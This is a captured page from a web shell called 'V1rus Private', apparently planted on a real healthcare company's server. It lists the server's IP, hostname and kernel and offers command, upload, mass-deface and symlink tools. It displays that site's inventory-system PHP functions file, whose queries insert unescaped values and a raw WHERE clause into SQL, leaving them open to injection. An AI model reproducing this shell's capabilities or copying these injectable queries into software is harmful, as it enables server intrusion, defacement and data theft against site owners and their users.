V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
InventorySystem
/
includes
/
Viewing: functions.php
<?php $errors = array(); /*--------------------------------------------------------------*/ /* Function for Remove escapes special /* characters in a string for use in an SQL statement /*--------------------------------------------------------------*/ // function real_escape($str){ // global $con; // $escape = mysqli_real_escape_string($con,$str); // return $escape; // } /*--------------------------------------------------------------*/ /* Function for Remove html characters /*--------------------------------------------------------------*/ function remove_junk($str){ $str = nl2br($str); $str = htmlspecialchars(strip_tags($str, ENT_QUOTES)); return $str; } /*--------------------------------------------------------------*/ /* Function for Uppercase first character /*--------------------------------------------------------------*/ function first_character($str){ $val = str_replace('-'," ",$str); $val = ucfirst($val); return $val; } /*--------------------------------------------------------------*/ /* Function for Checking input fields not empty /*--------------------------------------------------------------*/ function validate_fields($var){ global $errors; foreach ($var as $field) { $val = remove_junk($_POST[$field]); if(isset($val) && $val==''){ $errors = $field ." can't be blank."; return $errors; } } } /*--------------------------------------------------------------*/ /* Function for Display Session Message Ex echo displayt_msg($message); /*--------------------------------------------------------------*/ function display_msg($msg =''){ $output = array(); if(!empty($msg)) { foreach ($msg as $key => $value) { $output = "<div class=\"alert alert-{$key}\">"; $output .= "<a href=\"#\" class=\"close\" data-dismiss=\"alert\">×</a>"; $output .= remove_junk(first_character($value)); $output .= "</div>"; } return $output; } else { return "" ; } } /*--------------------------------------------------------------*/ /* Function for redirect /*--------------------------------------------------------------*/ function redirect($url, $permanent = false) { if (headers_sent() === false) { header('Location: ' . $url, true, ($permanent === true) ? 301 : 302); } exit(); } /*--------------------------------------------------------------*/ /* Function for find out total saleing price, buying price and profit /*--------------------------------------------------------------*/ function total_price($totals){ $sum = 0; $sub = 0; foreach($totals as $total ){ $sum += $total['total_saleing_price']; $sub += $total['total_buying_price']; $profit = $sum - $sub; } return array($sum,$profit); } /*--------------------------------------------------------------*/ /* Function for Readable date time /*--------------------------------------------------------------*/ function read_date($str){ if($str) return date('F j, Y, g:i:s a', strtotime($str)); else return null; } /*--------------------------------------------------------------*/ /* Function for Readable Make date time /*--------------------------------------------------------------*/ function make_date(){ return strftime("%Y-%m-%d %H:%M:%S", time()); } /*--------------------------------------------------------------*/ /* Function for Readable date time /*--------------------------------------------------------------*/ function count_id(){ static $count = 1; return $count++; } /*--------------------------------------------------------------*/ /* Function for Creting random string /*--------------------------------------------------------------*/ function randString($length = 5) { $str=''; $cha = "0123456789abcdefghijklmnopqrstuvwxyz"; for($x=0; $x<$length; $x++) $str .= $cha[mt_rand(0,strlen($cha))]; return $str; } /*--------------------------------------------------------------*/ /* Store Management Functions - ADD THESE ONCE ONLY /*--------------------------------------------------------------*/ function set_current_store($store_id) { global $db; // Validate store exists $store = find_by_id('stores', (int)$store_id); if($store) { $_SESSION['store_id'] = (int)$store_id; $_SESSION['store_name'] = $store['store_name']; return true; } return false; } function get_current_store_name() { if(isset($_SESSION['store_name'])) { return $_SESSION['store_name']; } // Fallback: get from database global $db; $store_id = get_current_store_id(); $store = find_by_id('stores', $store_id); return $store ? $store['store_name'] : 'Default Store'; } function get_current_store_id() { if(isset($_SESSION['store_id'])) { return (int)$_SESSION['store_id']; } return 1; // Default store ID } function get_all_stores() { global $db; $sql = "SELECT * FROM stores WHERE status = 1 ORDER BY store_name"; return find_by_sql($sql); } /*--------------------------------------------------------------*/ /* Store-based category functions /*--------------------------------------------------------------*/ function find_all_by_store($table, $store_id) { global $db; $sql = "SELECT * FROM {$table} WHERE store_id = '{$store_id}' ORDER BY name"; return find_by_sql($sql); } function find_categories_by_store($store_id) { global $db; $sql = "SELECT * FROM categories WHERE store_id = '{$store_id}' ORDER BY name"; return find_by_sql($sql); } function find_products_by_store($store_id, $limit = null, $start = 0) { global $db; $sql = "SELECT p.id, p.name, p.quantity, p.buy_price, p.sale_price, p.pack_size, p.media_id, p.date, "; $sql .= "c.name AS categorie, s.store_name, m.file_name AS image "; $sql .= "FROM products p "; $sql .= "LEFT JOIN categories c ON c.id = p.categorie_id "; $sql .= "LEFT JOIN stores s ON s.id = p.store_id "; $sql .= "LEFT JOIN media m ON m.id = p.media_id "; $sql .= "WHERE p.store_id = '{$store_id}' "; $sql .= "ORDER BY p.id DESC"; if ($limit) { $sql .= " LIMIT {$start}, {$limit}"; } return find_by_sql($sql); } function count_products_by_store($store_id) { global $db; $sql = "SELECT COUNT(*) AS total FROM products WHERE store_id = '{$store_id}'"; $result = $db->query($sql); $data = $db->fetch_assoc($result); return $data['total']; } function find_available_products_by_store($store_id) { global $db; $sql = "SELECT p.id, p.name, p.quantity, p.sale_price, c.name AS category "; $sql .= "FROM products p "; $sql .= "LEFT JOIN categories c ON p.categorie_id = c.id "; $sql .= "WHERE p.store_id = '{$store_id}' AND p.quantity > 0 "; $sql .= "ORDER BY p.name ASC"; return find_by_sql($sql); } /*--------------------------------------------------------------*/ /* Enhanced sales functions with payment types and profit calculation /*--------------------------------------------------------------*/ function find_sales_by_store_filtered($where_clause) { global $db; $sql = "SELECT s.id, s.qty, s.price, s.buy_price, s.total, s.profit, s.date, s.payment_type, "; $sql .= "p.name, st.store_name "; $sql .= "FROM sales s "; $sql .= "LEFT JOIN products p ON s.product_id = p.id "; $sql .= "LEFT JOIN stores st ON s.store_id = st.id "; $sql .= "WHERE {$where_clause} "; $sql .= "ORDER BY s.date DESC"; return find_by_sql($sql); } function get_sales_summary_filtered($where_clause) { global $db; $sql = "SELECT SUM(total) as total_sales, SUM(CASE WHEN payment_type = 'cash' THEN total ELSE 0 END) as cash_sales, SUM(CASE WHEN payment_type = 'online' THEN total ELSE 0 END) as online_sales, SUM(profit) as total_profit FROM sales s WHERE {$where_clause}"; $result = $db->query($sql); $data = $db->fetch_assoc($result); // Set defaults if no sales return array( 'total_sales' => $data['total_sales'] ?? 0, 'cash_sales' => $data['cash_sales'] ?? 0, 'online_sales' => $data['online_sales'] ?? 0, 'total_profit' => $data['total_profit'] ?? 0 ); } function get_daily_sales_summary($store_id, $date) { global $db; $sql = "SELECT SUM(total) as total_sales, SUM(CASE WHEN payment_type = 'cash' THEN total ELSE 0 END) as cash_sales, SUM(CASE WHEN payment_type = 'online' THEN total ELSE 0 END) as online_sales, SUM(profit) as total_profit FROM sales WHERE store_id = '{$store_id}' AND DATE(date) = '{$date}'"; $result = $db->query($sql); $data = $db->fetch_assoc($result); // Set defaults if no sales return array( 'total_sales' => $data['total_sales'] ?? 0, 'cash_sales' => $data['cash_sales'] ?? 0, 'online_sales' => $data['online_sales'] ?? 0, 'total_profit' => $data['total_profit'] ?? 0 ); } ?>
Coded With 💗 by
HanzOFC